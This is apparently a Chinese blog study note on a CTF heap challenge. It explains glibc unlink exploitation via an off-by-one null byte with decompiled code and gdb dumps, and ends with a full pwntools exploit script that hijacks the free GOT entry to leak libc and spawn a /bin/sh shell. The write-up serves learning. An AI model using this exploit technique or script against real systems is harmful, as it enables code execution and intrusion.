Unlink學習筆記(off-by-one null byte漏洞利用)

taiji1985發表於2018-08-27

看了很多malloc unlink 的案例,仍然是雲裡霧裡, 找了一個案例,反覆調了幾十遍才弄明白其中原理。

off-by-one 漏洞 以及漏洞利用原理

off-by-one漏洞就是malloc 本來分配了0xf8的記憶體,結果可以寫0xf9位元組的資料,多寫了一個,影響了下一個記憶體塊的頭部資訊,
進而造成了被利用的可能。

unlink是雙連結串列中刪除一個節點的操作。
當前是p
前一個 BK = p->bk (back的縮寫)
後一個 FD = p->fd (forward的縮寫)
BK->fd = FD
FD->bk = BK
設定使得前一個的後一個等於當前節點的後一個,後一個的前一個等於當前節點的前一個。這樣就完成了連結串列刪除。
記憶體塊chunk 的結構
chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|如果前一個塊是釋放狀態,則這裡儲存前一個塊的大小 prev_size,否則為使用者資料 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 當前塊的大小 size最後一個位元組為前一個塊是否是釋放狀態Prev_in_use |A|M|P|
mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 使用者資料 .
. .
. (malloc_usable_size() bytes) .
next . |
chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 如果前一個塊是釋放狀態,則這裡儲存前一個塊的大小 prev_size,否則為使用者資料 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 當前塊的大小 最後一個位元組為前一個塊是否是釋放狀態Prev_in_use |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

可以看到有一個奇怪的地方prev_size ,
如果前一個塊是釋放狀態,則儲存前一個塊的大小,如果前一個塊正在使用,則儲存前一個塊的資料。
前一個塊是否被使用在size域的最後一位, 如果我們先在prev_size寫上資料, 再修改size最後一位,就可以造出一個假的塊。
我們釋放下一個塊,因為我們構造了一個free的假塊,這兩個塊就會做合併。這就出發了額unlink。

unlink就可以改寫某個地方的資料/

題目

一個簡單的選單題 棧溢位無法利用,在set中存在溢位0的情況,就是說多寫了一個0 (off-by-one null byte),堆溢位一個0。
1 為分配記憶體 2為設定 3為刪除 4不管用(故意不然洩露)。 5 退出。

直接執行程式輸出:

Welcome to Alibaba Living Area, here you can
1. Init the message
2. Set the message
3. Delete the message
4. Show the message
5. Exit

IDA反編譯程式碼如下:


void __fastcall main(__int64 a1, char **a2, char **a3)
{
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  alarm(0x1Eu);
  sub_40094E(30LL, 0LL);
  while ( 1 )
  {
    switch ( (unsigned int)sub_400963() )
    {
      case 1u:
        yang_init();
        break;
      case 2u:
        yang_set();
        break;
      case 3u:
        yang_del();
        break;
      case 4u:
        yang_show();
        break;
      case 5u:
        yang_exit();
        return;
      default:
        puts("Invalid input\n");
        break;
    }
  }
}
signed __int64 yang_init()
{
  signed __int64 result; // rax
  int i; // [rsp+0h] [rbp-10h]
  int size; // [rsp+4h] [rbp-Ch]
  char *buf; // [rsp+8h] [rbp-8h]

  if ( g_sz >= 0 && g_sz <= 15 )
  {
    printf("Input the message length:", 0LL);
    size = read_int();
    if ( size >= 0 && size <= 256 )
    {
      buf = (char *)malloc(size);
      while ( *(_QWORD *)&g_tb[2 * i + 1] > 0LL )
        ++i;
      g_tb[2 * i] = (struct Record)buf;
      g_tb[2 * i + 1] = (struct Record)size;
      ++g_sz;
      puts("Done~!");
      result = 0LL;
    }
    else
    {
      puts("Not allow~!");
      result = 1LL;
    }
  }
  else
  {
    puts("Not allow~!");
    result = 1LL;
  }
  return result;
}
signed __int64 yang_del()
{
  signed __int64 result; // rax
  int size; // [rsp+Ch] [rbp-4h]

  printf("Input the message index:");
  size = read_int();
  if ( size >= 0 && size <= 16 )
  {
    if ( *(_QWORD *)&g_tb[2 * size + 1] <= 0LL )
    {
      puts("Not allow~!");
      result = 1LL;
    }
    else
    {
      g_tb[2 * size + 1] = 0LL;
      free(*(void **)&g_tb[2 * size]);
      --g_sz;
      puts("Done~!");
      result = 0LL;
    }
  }
  else
  {
    puts("Not allow~!");
    result = 1LL;
  }
  return result;
}
int yang_show()
{
  return puts("Not allow~!");
}
signed __int64 yang_set()
{
  signed __int64 result; // rax
  int sz; // [rsp+Ch] [rbp-4h]

  printf("Input the message index:");
  sz = read_int();
  if ( sz >= 0 && sz <= 16 )
  {
    if ( *(_QWORD *)&g_tb[2 * sz + 1] <= 0LL )
    {
      puts("Not allow~!");
      result = 1LL;
    }
    else
    {
      printf("Input the message content:");
      read_buf(*(char **)&g_tb[2 * sz], *(_QWORD *)&g_tb[2 * sz + 1]);   //這個函式裡溢位了一個0
      puts("Done~!");
      result = 0LL;
    }
  }
  else
  {
    puts("Not allow~!");
    result = 1LL;
  }
  return result;
}
signed int __fastcall read_buf(char *in, unsigned int size)
{
  char buf; // [rsp+17h] [rbp-9h]
  unsigned int i; // [rsp+18h] [rbp-8h]
  int v5; // [rsp+1Ch] [rbp-4h]

  v5 = 0;
  for ( i = 0; i <= size; ++i )                 // 存在off-by-one漏洞
  {
    if ( read(0, &buf, 1uLL) < 0 )
      return -1u;
    if ( buf == '\n' )
    {
      in[i] = 0;
      return i;
    }
    in[i] = buf;
  }
  in[i - 1] = 0;
  return i - 1;
}

分析

分析可知, 有一個全域性變數(儲存在bss段), 裡面記錄著每一段的地址和大小
struct Record{
char* p;
int sz;
} g_records[20]; 因為是64為,所以他們指標和int都是8位元組,一個Record段正好是16位元組(0x10) ,存在 0x6020c0的位置(下面有記憶體截圖)

這裡面有指標,我們可以用unlink修改其中的指標,進而修改其他的指標為got表的地址,這樣就可以修改got表的free項為printf或者system。
使用printf,呼叫刪除函式,實際上就呼叫了printf(而不是原本的free)。
free(buf) —> printf(buf)

這樣就可以進行記憶體地址洩露,進而算出system的值,再將free_got改為system地址,執行刪除函式
free(‘/bin/sh’) 就變成了 system(‘/bin/sh’)

這個思路有點精煉,看不懂看下面具體步驟。

先構造幾個串備用

def new_msg(len):
    p.recvuntil("Choice:")
    p.sendline("1")
    p.recvuntil("length:")
    p.sendline(str(len))
    print 'create new msg ' , len

new_msg(0xf8) # 0: 0x100 printf argument, %x.%x.
new_msg(0xf8) # 1: binsh, system argument
new_msg(0xf8) # 2: useless chunk
new_msg(0xf8) # 3: unlink target
new_msg(0xf8) # 4: free target
new_msg(0xf8) # 5: avoid consolidate with top chunk

看一個gdb

heap

0x6d1000 PREV_INUSE { //第0個塊
prev_size = 0x0,
size = 0x101,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x6d1100 PREV_INUSE { //第1個塊
prev_size = 0x0,
size = 0x101,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x6d1200 PREV_INUSE { //第2個塊
prev_size = 0x0,
size = 0x101,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x6d1300 PREV_INUSE { //第3個塊
prev_size = 0x0,
size = 0x101,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x6d1400 PREV_INUSE {//第4個塊
prev_size = 0x0,
size = 0x101,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}

注意這個串的大小是有講究的。需要是16的倍數+8, 這是和malloc對齊機制有關。

如果是 16的倍數,那麼就會再增加16位元組的頭部儲存prev_size和size。
如果是16x+8的形式,就會只增加8個位元組的size部分,prev_size用上一個記憶體塊的最後8位來表示。(size中存的是 使用者分配的大小+0x8)
而上一個塊我們是可以控制的,這代表這我們可以任意的改這個prev_size。
當然這個prev_size只有在當前快的prev_in_use(存在size最低位)為1的時候才能生效,所以需要一個溢位一個位元組null。
溢位後下一個塊的size的最低位元組變成了0。這就要求我們的大小不能太小。

如果是 0xa8 的大小, 那麼size中值為0xb0 ,null溢位後 這個值變成了0x00 。沒大小了!!這就不對了。
目前我們設計的大小為f8 , f8+8 = 100 , 帶著prev_in_use 為1, 實際在size中儲存的是0x101。
溢位後低位元組被清零,得到了0x100,這表示前一個塊是空的。
那麼前一個塊在什麼地方呢? 噔噔噔噔 !! 就在prev_size中,而這個塊

構造假塊

Unlink 在自己可控區域內構造一個假的塊。

chunk_ptr = 0x6020c0 + 3*0x10  # 這個地址就是全域性變數g_records[3].p 在unlink 的安全檢查下,只能改這個地方的值。
payload = p64(0x110) + p64(0xf1) + p64(chunk_ptr - 0x18) + p64(chunk_ptr - 0x10) + 'a' * 0xd0 + p64(0xf0) 
# fd: 2nd chunk's pointer - 0x18
# bk: 2nd chunk's pointer - 0x10
# 0xd0 = 0xf8 - 0x28(prev_size, size, next_prev_size, fd, bk)
# 0x101 -> 0x100

set_msg(3, payload)

看修改後的記憶體。

0x1b10300: 0x0000000000000000 0x0000000000000101 塊3 的開始
0x1b10310: 0x0000000000000110 0x00000000000001f1 這個快是我們控制的記憶體 (我們構造的假塊的開始)
0x1b10320: 0x00007fefce073b78 0x00007fefce073b78
0x1b10330: 0x6161616161616161 0x6161616161616161
0x1b10340: 0x6161616161616161 0x6161616161616161
0x1b10350: 0x6161616161616161 0x6161616161616161
0x1b10360: 0x6161616161616161 0x6161616161616161
0x1b10370: 0x6161616161616161 0x6161616161616161
0x1b10380: 0x6161616161616161 0x6161616161616161
0x1b10390: 0x6161616161616161 0x6161616161616161
0x1b103a0: 0x6161616161616161 0x6161616161616161
0x1b103b0: 0x6161616161616161 0x6161616161616161
0x1b103c0: 0x6161616161616161 0x6161616161616161
0x1b103d0: 0x6161616161616161 0x6161616161616161
0x1b103e0: 0x6161616161616161 0x6161616161616161
0x1b103f0: 0x6161616161616161 0x6161616161616161
0x1b10400: 0x00000000000000 f0 0x00000000000001 00 這是塊4的size欄位。(塊2) 這個位元組溢位被改了!!本來使是01

f0是我們造的prev_size

0x1b10400 地址仍然屬於上一個塊的可控範圍,現在將其設定為f0
而這個地址是下一個塊的prev_size , (如果prev-in-use是0的話)

而原本 0x1b10408 位置為 101 ,表示上一個塊 正在被使用,現在
01 這個位元組被 00 替換。 讓其以為上一個塊是free的。

下面我們會free 塊4 ,塊4 就會根據 prev_size (f0)這個值去尋找頭部。這個頭部正好是我們構造的0x1b10310 這個位置。

然後free函式會監測 上一個塊(FD指向)的下一個塊是不是當前塊
下一個塊的上一個塊是不是當前塊,即:

FD->bk == P 和
BK->fd == P

FD->bk 怎麼理解, FD是一個指標,它指向的記憶體塊以Chunk這個結構體的方式訪問
我們造的假塊的結構如下:
Chunk { // 第3個塊
prev_size = 0x110, //本來chunk 3 的大小和chunk 2的大小都是0x100,現在我們造的假塊地址是chunk3地址加0x10,所以上一塊的內容要加0x110
size = 0xf1, //這個地方size為0xf0,最低位為1 ,表示上一個塊不是free狀態,這樣就不會出現連鎖的合併。
fd = chunk_ptr - 0x18, // chunk_ptr 是另外一個變數,這個變數中儲存著這個塊的地址。是g_table[3].p = malloc(0xf8) 中p的地址。
bk = chunk_ptr - 0x10,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}

在結構體中 bk的偏移量是0x18 , 假設結構體的地址為FD ,那麼 FD->bk 的地址為 FD+0x18
下面的記憶體中儲存著 分配的記憶體地址 ,如果把結構體的頭部(FD)放在 0x6020d8,那麼FD->BK 正好是 0x6020f0
0x6020f0 值正好是0x1b10310 , 即 FD->fd 的值 == P。

0x6020c0: 0x0000000001b10010 0x00000000000000f8
0x6020d0: 0x0000000001b10110 0x00000000000000f8
0x6020e0: 0x0000000001b10210 0x00000000000000f8
0x6020f0: 0x0000000001b10310 0x00000000000000f8
0x602100: 0x0000000001b10410 0x00000000000000f8
0x602110: 0x0000000001b10510 0x00000000000000f8

這樣就通過了檢查。隨後執行

FD->bk = BK
BK->fd = FD

因為檢查中保證了 P= FD->bk = BK->fd 所以上面的語句相當於

P = FD = 0x6020f0 - 0x18
即將0x6020f0 的地址改為了0x6020f0 - 0x18 ,見下圖

0x6020c0: 0x0000000001b10010 0x00000000000000f8
0x6020d0: 0x0000000001b10110 0x00000000000000f8
0x6020e0: 0x0000000001b10210 0x00000000000000f8
0x6020f0: 0x00000000006020d8 0x00000000000000f8 # 標黃的地方就是chunk_ptr 已經被修改成了自己的地址-0x18
0x602100: 0x0000000001b10410 0x0000000000000000
0x602110: 0x0000000001b10510 0x00000000000000f8

洩露地址和執行system

修改了這個地址有什麼用呢? 本來有一個指標指向它的。
struct Record{
char* p;
int sz;
}
現在, p= 0x6020d8;
這樣我們對p進行修改, 就可以修改0x6020d8對應的位置,這個位置也在上面資料所示的表格中。

比如我們把它改為got_entry_free的地址,

payload = p64(0xf8) + p64(got_entry_free) + p64(0xf8)[:-1]
setmsg(3,payload)

通過這個串,可以講記憶體設定為

0x6020c0: 0x0000000001169010 0x00000000000000f8 Record 0
0x6020d0: 0x0000000001169110 0x00000000000000f8 Record 1
0x6020e0: 0x0000000000 602018 0x00000000000000f8 這裡被成功寫入了 Record 2
0x6020f0: 0x00000000006020d8 0x00000000000000f8 Record 3
0x602100: 0x0000000001169410 0x0000000000000000 Record 4
0x602110: 0x0000000001169510 0x00000000000000f8 Record 5

got_entry_free的值被成功寫入到 了 Record 2 中, 對2的修改就會修改free_got的值,改變其本身的行為
本來該呼叫free函式的,卻呼叫了我們寫入的值。

我們現在將printf 的 地址寫入,因為不知道這個地址,所以我們寫入plt的地址。

payload = p64(0x4006E0)[:-1] # printf plt address
set_msg(2, payload)

0x602018 <free@got.plt>:    **0x00000000004006e0**  0x00007fa818174690   # 這裡被改寫成了
0x602028 <__stack_chk_fail@got.plt>:    0x00000000004006d6  0x00007fa81815a800
0x602038 <alarm@got.plt>:   0x00007fa8181d1200  0x00007fa8181fc250
0x602048 <__libc_start_main@got.plt>:   0x00007fa818125740  0x0000000000400726
0x602058 <malloc@got.plt>:  0x00007fa818189130  0x00007fa818174e70

這樣在執行 del 時,本該呼叫free,結果卻呼叫了printf ,這就帶來了地址洩露。比如執行

printf(“%11$lx”)就可以輸出lib_main_ret的地址,進而計算出system的地址。

同樣的設定address的地址

payload = p64(system_address)[:-1] # printf plt address
set_msg(2, payload)

隨後呼叫
del_msg(1) 這樣本應該執行 free(chunk_1_address) 的,結果執行了system(chunk_1_address)

隨意,我們預先在chunk 1 中儲存 /bin/sh ,這樣命令列就開啟了。


#!/usr/bin/env python
# coding: utf-8

from pwn import *
context.log_level = "error"

#init
context(arch = 'amd64', os = 'linux')
local=True

if local:
    p = process("./fb")
else:
    p = remote("121.40.56.102", 9733)

print '[*] PID:',pidof('fb')
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']

name = "fb"

off_onegadget = 0x4526A
offset___libc_start_main_ret = 0x20830
offset_system = 0x45390
offset_read = 0xf6670
offset_write = 0xf66d0
offset_str_bin_sh = 0x18c177

def attach():
    if local:
        gdb.attach(pidof(name)[0],gdbscript = "b * 0x400CB1\n")

def new_msg(len):
    p.recvuntil("Choice:")
    p.sendline("1")
    p.recvuntil("length:")
    p.sendline(str(len))
    print 'create new msg ' , len

def set_msg(idx,cont):
    p.recvuntil("Choice:")
    p.sendline("2")
    p.recvuntil("index:")
    p.sendline(str(idx))
    p.recvuntil("content:")
    p.sendline(cont)
    print 'set  msg ' , idx,',cont = ',cont

def del_msg(idx):
    print 'del_msg ' , idx
    p.recvuntil("Choice:")
    p.sendline("3")
    p.recvuntil("index:")
    p.sendline(str(idx))

def my_eval():
    print 'Enter python model'
    while True:
        try:
            s = raw_input("python>")
            if s == 'q\n':
                return
            print eval(s)
        except Exception as e:
            print (e)

def mp(str):
    print str
    return 1
new_msg(0xf8) # 0: 0x100 printf argument, %x.%x.
new_msg(0xf8) # 1: binsh, system argument
new_msg(0xf8) # 2: useless chunk
new_msg(0xf8) # 3: unlink target
new_msg(0xf8) # 4: free target
new_msg(0xf8) # 5: avoid consolidate with top chunk

# lack of chunks
#attach()


chunk_ptr = 0x6020c0 + 3*0x10 

set_msg(0,"%lx."* 0x11) # 0
set_msg(1,"/bin/sh\x00") # 1

payload = p64(0x110) + p64(0xf1) + p64(chunk_ptr - 0x18) + p64(chunk_ptr - 0x10) + 'a' * 0xd0 + p64(0xf0) 
# fd: 2nd chunk's pointer - 0x18
# bk: 2nd chunk's pointer - 0x10
# 0xd0 = 0xf8 - 0x28(prev_size, size, next_prev_size, fd, bk)
# 0x101 -> 0x100

set_msg(3, payload)
#raw_input("press to continue")

del_msg(4)
#raw_input("xxxxx")


#set_msg(3, 'a' * 0x10)


got_entry_free = 0x000000000602018 
payload = p64(0xf8) + p64(got_entry_free) + p64(0xf8)[:-1]
# 0xf8 got_entry_free 0xf8 without '\x00' overflow
set_msg(3, payload)
payload = p64(0x4006E0)[:-1] # printf plt address
set_msg(2, payload)

#attach()

# printf("%lx."* 0x11)
del_msg(0)

offset___libc_start_main_ret = 0x20830
offset_system = 0x0000000000045390
offset_dup2 = 0x00000000000f7970
offset_read = 0x00000000000f7250
offset_write = 0x00000000000f72b0
offset_str_bin_sh = 0x18cd57

r = p.recvuntil("Done~!", drop = True)
print "recv ", r , "\n--------------------------"

r = r.split('.')[-2]

# p.interactive()

libc_start_main_ret_addr = int("0x" + r ,16)


print "libc_start_main_ret_addr: ", hex(libc_start_main_ret_addr)

# we unlink, check chunk_ptr's position
system_addr = libc_start_main_ret_addr - offset___libc_start_main_ret + offset_system

print "system_addr: ", hex(system_addr)


payload = p64(system_addr)[:-1]
set_msg(2, payload)

set_msg(1,"/bin/sh\x00")

del_msg(1)

my_eval()
p.interactive()

# we unlink, check chunk_ptr's position

相關文章